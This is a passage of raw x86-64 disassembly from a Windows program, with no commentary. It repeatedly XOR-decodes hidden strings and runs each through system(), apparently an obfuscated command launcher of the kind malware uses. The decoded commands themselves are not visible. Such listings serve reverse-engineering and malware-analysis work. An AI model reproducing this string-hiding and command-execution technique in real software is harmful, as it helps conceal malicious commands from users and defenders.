shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140008940
lea rcx, [rbp + 0x16c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140096770]
movups xmm0, xmmword [0x140096760]
movups xmmword [rbp + 0x21f0], xmm1
movups xmmword [rbp + 0x21e0], xmm0
movups xmm1, xmmword [0x140096790]
movups xmm0, xmmword [0x140096780]
movups xmmword [rbp + 0x2210], xmm1
movups xmmword [rbp + 0x2200], xmm0
movups xmm1, xmmword [0x1400967b0]
movups xmm0, xmmword [0x1400967a0]
movups xmmword [rbp + 0x2230], xmm1
movups xmmword [rbp + 0x2220], xmm0
movzx eax, byte [0x1400967e0]
movups xmm1, xmmword [0x1400967d0]
movups xmm0, xmmword [0x1400967c0]
mov byte [rbp + 0x2260], al
movups xmmword [rbp + 0x2250], xmm1
movups xmmword [rbp + 0x2240], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140008b61
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x21e4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140008a50
cmp r8d, 0x81
jge 0x140008ba6
movsxd rax, r8d
lea r9, [rbp + 0x21e0]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140008b70
lea rcx, [rbp + 0x21e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x140097ec0]
movups xmmword [rbp + 0xd0], xmm0
movzx eax, word [0x140097ed0]
mov word [rbp + 0xe0], ax
cmp byte [0x140097ed1], 0
je 0x140008d83
mov r8d, edi
cmp r14d, 2
jl 0x140008d3b
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008c30
cmp r8d, 0x12
jge 0x140008d83
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140008d50
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096490]
movups xmmword [rbp + 0x1030], xmm0
movups xmm0, xmmword [0x1400964b0]
movups xmm1, xmmword [0x1400964a0]
movups xmmword [rbp + 0x1050], xmm0
movups xmmword [rbp + 0x1040], xmm1
mov eax, dword [0x140096500]
movups xmm0, xmmword [0x1400964d0]
movups xmm1, xmmword [0x1400964c0]
mov dword [rbp + 0x10a0], eax
movups xmmword [rbp + 0x1070], xmm0
movups xmmword [rbp + 0x1060], xmm1
movzx eax, word [0x140096504]
movups xmm0, xmmword [0x1400964f0]
movups xmm1, xmmword [0x1400964e0]
mov word [rbp + 0x10a4], ax
movups xmmword [rbp + 0x1090], xmm0
movups xmmword [rbp + 0x1080], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140008f6b
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1034]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x140008e60
cmp r8d, 0x76
jge 0x140008fb3
movsxd rax, r8d
lea r9, [rbp + 0x1030]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x140008f80
lea rcx, [rbp + 0x1030]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140096510]
movups xmmword [rbp + 0x15a0], xmm0
movups xmm0, xmmword [0x140096530]
movups xmmword [rbp + 0x15c0], xmm0
movups xmm0, xmmword [0x140096550]
movups xmm1, xmmword [0x140096520]
movups xmmword [rbp + 0x15e0], xmm0
movups xmmword [rbp + 0x15b0], xmm1
movups xmm0, xmmword [0x140096570]
movups xmm1, xmmword [0x140096540]
movups xmmword [rbp + 0x1600], xmm0
movups xmmword [rbp + 0x15d0], xmm1
mov eax, dword [str.SKS_]
movsd xmm0, qword [0x140096580]
movups xmm1, xmmword [0x140096560]
mov dword [rbp + 0x1618], eax
movsd qword [rbp + 0x1610], xmm0
movups xmmword [rbp + 0x15f0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000919b
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x15a4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140009090
cmp r8d, 0x7c
jge 0x1400091e3
movsxd rax, r8d
lea r9, [rbp + 0x15a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x1400091b0
lea rcx, [rbp + 0x15a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x140000000]
lea rax, [rbx + 0x969b0]
lea rcx, [rbp + 0x2ae0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r14d, 2
jl 0x1400093cd
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ae4]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x1400092b0
jmp 0x140009416
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r9, [rbp + 0x2ae0]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x1400093e0
lea rcx, [rbp + 0x2ae0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400980a0]
movups xmmword [rbp + 0xf90], xmm0
movups xmm0, xmmword [0x1400980c0]
movups xmmword [rbp + 0xfb0], xmm0
movups xmm0, xmmword [0x1400980e0]
movups xmm1, xmmword [0x1400980b0]
movups xmmword [rbp + 0xfd0], xmm0
movups xmmword [rbp + 0xfa0], xmm1
mov eax, dword [0x140098138]
movups xmm0, xmmword [0x140098100]
movups xmm1, xmmword [0x1400980d0]
mov dword [rbp + 0x1028], eax
movups xmmword [rbp + 0xff0], xmm0
movups xmmword [rbp + 0xfc0], xmm1
movzx eax, word [0x14009813c]
movups xmm0, xmmword [0x140098120]
movups xmm1, xmmword [0x1400980f0]
mov word [rbp + 0x102c], ax
movups xmmword [rbp + 0x1010], xmm0
movups xmmword [rbp + 0xfe0], xmm1
movzx eax, byte [0x14009813e]
movsd xmm0, qword [0x140098130]
movups xmm1, xmmword [0x140098110]
mov byte [rbp + 0x102e], al
movsd qword [rbp + 0x1020], xmm0
movups xmmword [rbp + 0x1000], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140009631
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf94]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140009520
cmp r8d, 0x9f
jge 0x140009676
movsxd rax, r8d
lea r9, [rbp + 0xf90]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x140009640
lea rcx, [rbp + 0xf90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0x97680]
lea rdx, [rbp + 0x2d80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
mov r8d, edi
cmp r14d, 2
jl 0x140009861
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2d84]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140009750
cmp r8d, 0xad
jge 0x1400098a6
movsxd rax, r8d
lea r9, [rbp + 0x2d80]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x140009870
lea rcx, [rbp + 0x2d80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400987f0]
movups xmm0, xmmword [0x1400987e0]
movups xmmword [rbp + 0x1c10], xmm1
movups xmmword [rbp + 0x1c00], xmm0
movups xmm1, xmmword [0x140098810]
movups xmm0, xmmword [0x140098800]
movups xmmword [rbp + 0x1c30], xmm1
movups xmmword [rbp + 0x1c20], xmm0
movups xmm1, xmmword [0x140098830]
movups xmm0, xmmword [0x140098820]
movups xmmword [rbp + 0x1c50], xmm1
movups xmmword [rbp + 0x1c40], xmm0
movzx eax, byte [0x140098860]
movups xmm1, xmmword [0x140098850]
movups xmm0, xmmword [0x140098840]
mov byte [rbp + 0x1c80], al
movups xmmword [rbp + 0x1c70], xmm1
movups xmmword [rbp + 0x1c60], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140009a91
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1c04]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140009980
cmp r8d, 0x81
jge 0x140009ad6
movsxd rax, r8d
lea r9, [rbp + 0x1c00]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140009aa0
lea rcx, [rbp + 0x1c00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097de0]
movups xmmword [rbp + 0x2270], xmm0
movups xmm0, xmmword [0x140097e00]
movups xmm1, xmmword [0x140097df0]
movups xmmword [rbp + 0x2290], xmm0
movups xmmword [rbp + 0x2280], xmm1
movups xmm0, xmmword [0x140097e20]
movups xmm1, xmmword [0x140097e10]
movups xmmword [rbp + 0x22b0], xmm0
movups xmmword [rbp + 0x22a0], xmm1
movups xmm0, xmmword [0x140097e40]
movups xmm1, xmmword [0x140097e30]
movups xmmword [rbp + 0x22d0], xmm0
movups xmmword [rbp + 0x22c0], xmm1
mov eax, dword [0x140097e70]
movups xmm0, xmmword [0x140097e60]
movups xmm1, xmmword [0x140097e50]
mov dword [rbp + 0x2300], eax
movups xmmword [rbp + 0x22f0], xmm0
movups xmmword [rbp + 0x22e0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140009cd1
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
